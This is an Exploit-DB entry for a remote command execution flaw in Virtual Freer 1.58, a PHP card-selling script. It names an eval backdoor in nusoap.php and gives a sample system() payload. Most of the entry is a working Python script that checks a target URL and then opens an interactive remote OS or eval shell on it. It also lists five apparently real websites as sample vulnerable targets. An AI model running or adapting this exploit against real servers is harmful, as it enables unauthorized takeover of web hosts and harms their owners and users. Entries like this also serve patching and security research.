Exploit-DB #48094
Description: Virtual Freer 1.58 - Remote Command Execution
Type: webapps
Platform: php
Date: 2020-02-19
Author: SajjadBnd

Exploit:
# Exploit title : Virtual Freer 1.58 - Remote Command Execution
# Exploit Author : SajjadBnd
# Date : 2020-02-17
# Vendor Homepage : http://freer.ir/virtual/
# Software Link : http://www.freer.ir/virtual/download.php?action=get
# Software Link(mirror) : http://dl.nuller.ir/virtual_freer_v1.58[NuLLeR.iR].zip
# Tested on : Ubuntu 19.10
# Version : 1.58
############################
# [ DESCRIPTION ]
#
# Free Script For Sell Charging Cards and Virtual Products
#
# [POC]
#
# Vulnerable file:  /include/libs/nusoap.php
# 943: eval($_POST['a74ad8dfacd4f985eb[PII_REDACTED]ce25']);
#
# POST /include/libs/nusoap.php
# payload : a74ad8dfacd4f985eb[PII_REDACTED]ce25=system('uname -a');
#
# [ Sample Vulnerable Sites ]
#
# http://3cure.ir/buy/
# http://cheapcharger.ir/
# http://www.appraworld.ir/
# http://latoon.ir/
# http://novinv.ir/
#

import requests
import os
import sys

def clear():
    linux = 'clear'
    windows = 'cls'
    os.system([linux, windows][os.name == 'nt'])

def Banner():
        print '''
#################################################
#                                               #
# Virtual Freer 1.58 - Remote Command Execution #
#                    SajjadBnd                  #
#		   BiskooitPedar		#
#		blackwolf@post.com		#
#################################################
'''

def inputs():
    target = raw_input('[*] URL : ')
    while True:
	try:
            r = requests.get(target,verify=False)
            start(target)
        except requests.exceptions.MissingSchema:
	    target = "http://" + target

def start(target):
    print "======================\n\n[!] Checking: ****()"
    url = '%s/include/libs/nusoap.php' % (target)
    body = {'a74ad8dfacd4f985eb[PII_REDACTED]ce25':'echo vulnerable;'}
    r = requests.post(url,data=body,allow_redirects=False,timeout=50)
    content = r.text.encode('utf-8')
    if 'vulnerable' in content:
        print "[+] vulnerable: ****()\n"
    else:
        print "[-] Target not Vulnerable!"
	sys.exit(1)
    print "\n[!] Checking: System()"
    body = {'a74ad8dfacd4f985eb[PII_REDACTED]ce25':'system(id);'}
    r = requests.post(url,data=body,allow_redirects=False,timeout=50)
    content = r.text.decode('utf-8')
    if 'gid' in content:
        print "[+] vulnerable: system()\n"
	osshell(url)
    else:
        print "[-] Target not Vulnerable to Running OS Commands!"
	evalshell(url)

def osshell(url):
    print "======================\n[+] You can run os commands :D\n"
    while True:
	try:
            cmd = raw_input('OS_SHELL $ ')
            command = "system('%s');" % (cmd)
            body = {'a74ad8dfacd4f985eb[PII_REDACTED]ce25':command}
            r = requests.post(url,data=body,allow_redirects=False,timeout=50)
            content = r.text.encode('utf-8')
            print "\n",content
        except KeyboardInterrupt:
            print "\n____________________\n[+] GoodBye :D"
            sys.exit(1)

def evalshell(url):
    print "======================\n[+] You can just run Eval Commands :D\n"
    while True:
	try:
            cmd = raw_input('\nEval()=> ')
            command = '%s;' % (cmd)
            body = {'a74ad8dfacd4f985eb[PII_REDACTED]ce25':command}
            r = requests.post(url,data=body,allow_redirects=False,timeout=50)
            content = r.text.encode('utf-8')
            print "\n",content
        except KeyboardInterrupt:
            print "\n____________________\n[+] ok! GoodBye :D"
            sys.exit(1)

if __name__ == '__main__':
        clear()
        Banner()
	inputs()